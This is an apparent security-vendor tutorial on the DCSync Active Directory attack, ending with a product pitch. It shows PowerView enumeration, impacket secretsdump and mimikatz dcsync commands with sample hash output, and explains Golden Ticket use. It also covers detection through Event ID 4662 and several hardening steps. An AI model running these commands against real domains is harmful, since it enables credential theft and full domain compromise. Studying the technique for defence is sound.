Home  /  Education  /  DCSync
Active Directory Advanced

DCSync: Extracting Domain Credentials by Impersonating a Domain Controller

Updated 17 July 2026  ·  10 min read  ·  Tools: impacket, mimikatz

⚠ This walkthrough is for authorised penetration testing and education only. It is demonstrated against a controlled Active Directory lab environment. Running these techniques against any domain you do not own or have explicit written authorisation to test is a criminal offence in most jurisdictions.

DCSync is one of the most elegant and dangerous techniques in the Active Directory attack playbook. It lets an attacker who has obtained the right permissions extract the password hash of any account in the domain — including the all-important krbtgt account — without ever logging on to a Domain Controller, dropping a tool on it, or triggering the kind of process-level telemetry that endpoint detection watches for on a DC.

Instead of attacking the DC, DCSync pretends to be one. This walkthrough explains exactly how that works, shows the real commands, and — most importantly — covers how a defender detects and prevents it.

The core idea: Domain Controllers replicate directory data (including password hashes) to each other using a protocol called MS-DRSR. If you can convince a real DC that you are another DC asking to replicate, it will hand you the hashes. No code execution on the DC required.

Prerequisites: what an attacker needs first

DCSync is not an entry point — it is a privilege-escalation and credential-access technique used after initial compromise. To run it, the attacker needs an account that holds these two extended rights on the domain object:

By default, these rights are held by members of Domain Admins, Enterprise Admins, and Administrators, as well as Domain Controllers themselves. The danger is that these rights can also be delegated to seemingly unprivileged accounts — and that misconfiguration is exactly what an attacker hunts for. An account that isn't a Domain Admin but happens to hold replication rights is a silent path to total domain compromise.

Finding accounts with replication rights

Using PowerView on a compromised host, an attacker enumerates who holds these rights across the domain:

PowerShell — PowerView
# Load PowerView
Import-Module .\PowerView.ps1

# Find principals with replication rights on the domain object
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs |
  ? { ($_.ObjectAceType -match 'Replication-Get') } |
  Select SecurityIdentifier, ObjectAceType |
  Format-Table -Auto

If this returns a user account that should not have those rights, that account is a DCSync-capable foothold.

Running DCSync with impacket

The most common way to perform DCSync from a Linux attack box is secretsdump.py from the impacket suite. It implements the replication request natively — no Windows host needed.

Assuming the attacker has compromised credentials for an account with replication rights (here, a user called svc-replication), the command to pull the hash of a single high-value target — the built-in Administrator — looks like this:

Bash — targeted DCSync
secretsdump.py -just-dc-user Administrator \
  corp.local/svc-replication:'P@ssw0rd123'@10.10.10.5

To replicate the entire domain — every user hash at once — the attacker drops the -just-dc-user filter:

Bash — full domain hash dump
# -just-dc pulls all NTLM hashes and Kerberos keys from the DC
secretsdump.py -just-dc \
  corp.local/svc-replication:'P@ssw0rd123'@10.10.10.5

The output includes the NTLM hash for every account. The single most valuable line is the krbtgt hash:

Output (abridged)
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b...:a9fd...e31c:::
krbtgt:502:aad3b...:b512...7f0a:::
svc-sql:1104:aad3b...:c1e9...44da:::
...

Why krbtgt matters: With the krbtgt hash, an attacker can forge a Golden Ticket — a Kerberos TGT for any user, valid for up to 10 years by default. That is effectively permanent, undetectable domain persistence. It is the reason DCSync is treated as a full-domain-compromise event.

Running DCSync with mimikatz

On a Windows host, the classic tool is mimikatz. Its lsadump::dcsync module performs the same replication request:

mimikatz — single user
# Pull the krbtgt account hash
lsadump::dcsync /domain:corp.local /user:krbtgt

The output gives the NTLM hash and the AES keys, which are what you would feed into a Golden Ticket forge. Because mimikatz runs in the context of the current user, it uses the current session's replication rights rather than needing a password on the command line.

Why DCSync is so hard to catch

Three properties make DCSync stealthy compared with, say, dumping the NTDS.dit database directly:

Detection & Defense

Understanding the attack is how you stop it. Here is what actually works against DCSync, in priority order.

1. Detect the replication request (highest value). A DCSync shows up as a Directory Service Access event on the DC — Windows Event ID 4662 — where the properties requested include the replication GUIDs:

  • 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes)
  • 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All)

The key detection logic: a 4662 replication event where the source account is not a Domain Controller is almost always malicious. Build a SIEM rule that alerts on Event ID 4662 with those GUIDs where the requesting account is not in your known DC list.

2. Audit and minimise replication rights. Regularly enumerate every principal holding DS-Replication-Get-Changes-All (the same PowerView query attackers use). Any account outside Domain Admins / Enterprise Admins / DCs that holds it is a misconfiguration — remove the delegation.

3. Protect Tier 0. DCSync requires already holding privileged rights. Enforcing a clean tiering model — where Domain Admin credentials are never exposed on lower-tier workstations that can be compromised — removes the foothold DCSync depends on.

4. Rotate krbtgt if you suspect compromise. If a DCSync has occurred, assume the krbtgt hash is stolen and a Golden Ticket may exist. Rotate the krbtgt password twice (with a delay between rotations to allow replication) to invalidate any forged tickets.

5. Network segmentation. Restrict which hosts can even reach the DC's replication interfaces. An attack box on a user VLAN should not be able to open an MS-DRSR session to a Domain Controller.

How GHOST RED tests for this

DCSync exposure is one of the Active Directory attack paths GHOST RED evaluates during its enumeration and privilege-escalation phases. Rather than executing the attack, the platform identifies the precondition — accounts holding replication rights that should not have them — and maps the resulting attack path to MITRE ATT&CK technique T1003.006 (OS Credential Dumping: DCSync), so blue teams see the exposure and the exact detection rule that closes it before a real attacker finds the same path.

See GHOST RED map your AD attack paths

Autonomous assessment that finds the DCSync-capable accounts, Kerberoastable services, and privilege-escalation chains in your environment — with the detection rules to close each one.

Request a Demo →
← Back to Education